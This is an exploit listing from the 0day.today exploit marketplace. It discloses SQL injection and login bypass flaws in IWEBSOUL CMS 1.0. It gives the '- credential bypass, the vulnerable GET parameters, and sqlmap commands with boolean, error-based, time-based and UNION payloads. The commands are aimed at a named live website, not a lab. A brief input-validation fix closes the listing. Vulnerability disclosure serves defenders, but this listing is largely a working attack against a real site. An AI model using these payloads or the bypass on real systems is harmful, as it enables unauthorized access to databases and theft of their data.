[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

IWEBSOUL CMS 1.0 SQL Injection Vulnerability

Author
Renzi
Risk
[
Security Risk High
]
0day-ID
0day-ID-28460
Category
web applications
Date add
08-09-2017
Platform
php
Title:
=======

IWEBSOUL CMS - Multiple SQL Injection Vulnerabilities & Authentication Bypass 
 
Introduction:
==============

Intrepid Websoul Private Limited - iWebsoul is a rapidly growing IT Solution provider in India. 
Team comprehensively works to create a unique business and industry based solution for their customers. 
They customize  solutions and tailor it according to the needs of our clients keeping in mind their vision and target audience.[iWbeSoul]
 
Vulnerability Disclosure:
==========================

2017-09-06: Public Disclosure
 
Affected Product(s):
=====================

IWEBSOUL CMS 1.0
 
Exploitation Technique:
========================

Remote
 
Severity Level:
================

High
 
Technical Details & Description:
=================================

An auth bypass session vulnerability has been discovered in the IWEBSOUL CMS 1.0 web-application.
The session vulnerability allows remote attackers to unauthorized access the web user interface.
The vulnerability is located in the session credentials request of the login.php file. Remote attackers are able to use a '-  SQL Injection payload to bypass the login.php script validation. 
This is results in unauthorized access. The issue is a classic auth bypass and is remote exploitable. The request method to inject is POST.

Request Method(s):

[+] POST

Vulnerable Funcitons(s):

[+] login.php

Affected Module(s):

[+] Web User Interface


A remote SQL Injection web vulnerability has been discovered in the IWEBSOUL CMS 1.0 web-application.
The vulnerability allows remote attackers to execute own sql commands to compromise the web-server or dbms.
The vulnerability is located in the `type` parameter of the `service-detail.php` file GET method request. 


Request Method(s):

[+] GET
 
Vulnerable Function(s):

[+] service-detail.php
 
Vulnerable Parameter(s):

[+] type

And the other SQL injection is located in the `catid`, 'scatid' & 'typeid' parameters of the `product.php` file GET method request.

Request Method(s):

[+] GET
 
Vulnerable Function(s):

[+] product.php
 
Vulnerable Parameter(s):

[+] catid
 
[+] scatid

[+] typeid

More SQL Injection is located in the 'id' paramater of the 'offerproductdisplay.php' file GET method request.

Request Method(s):

[+] GET
 
Vulnerable Function(s):

[+] offerproductdisplay.php
 
Vulnerable Parameter(s):

[+] id
 
Proof of Concept (PoC):
========================

An Auth bypass vulnerability can be exploited by remote attackers without privilege application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability.

1 . Open the vulnerable web-app
2 . Start to browse the website and go to http://www.bumalow.com/login.php
3 . Enter Username:'-
4 . Enter Password:'-
5 . Now you will login with the credentials
6 . Successful reproduce of the auth bypass login vulnerability!


The remote sql-injection vulnerability can be exploited by remote attackers with privilege web-application user account and without user interaction.
The security demonstration reproduce the web vulnerability exploitation using SQLmap.


renzi@instance-1:~/sqlmapproject-sqlmap-96b9950$ python sqlmap.py -u "http://www.bumalow.com/service-detail.php?type=1" --current-db --random-agent --dbms=mysql --threads=8

---
Parameter: type (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: type=-7101' OR 4159=4159#

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: type=1' OR (SELECT 2319 FROM(SELECT COUNT(*),CONCAT(0x716b707071,(SELECT (ELT(2319=2319,1))),0x716b717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- HVPB
    
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: type=1' OR SLEEP(5)-- dKVd
---


renzi@instance-1:~/sqlmapproject-sqlmap-96b9950$ python sqlmap.py -u "http://www.bumalow.com/product.php?catid=1" --current-db --random-agent --dbms=mysql --threads=8   
 
---
Parameter: catid (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: catid=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: catid=1 UNION ALL SELECT CONCAT(0x71786a6271,0x68686e537353764743507264565a7a6673496f70454f7475655846614e5243664f68634a57414761,0x7176787671),NULL,NULL,NULL-- jApP
---

 
renzi@instance-1:~/sqlmapproject-sqlmap-96b9950$ python sqlmap.py -u "http://www.bumalow.com//offerproductdisplay.php?id=1"  --current-db --random-agent --dbms=mysql --threads=8

---
Parameter: id (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)
---
Solution 
=========

In order to avoid SQL Injection it is important to validate all non-SQL text entries, not allowing special characters and SQL key words to be written, such as INSERT, DELETE, UPDATE, HAVING, JOIN, etc.
It is interesting to set a maximum of characters for passwords and users. 
Treat errors appropriately, for messages that do not expose attackers to information about a data structure.

#  0day.today [2024-12-24]  #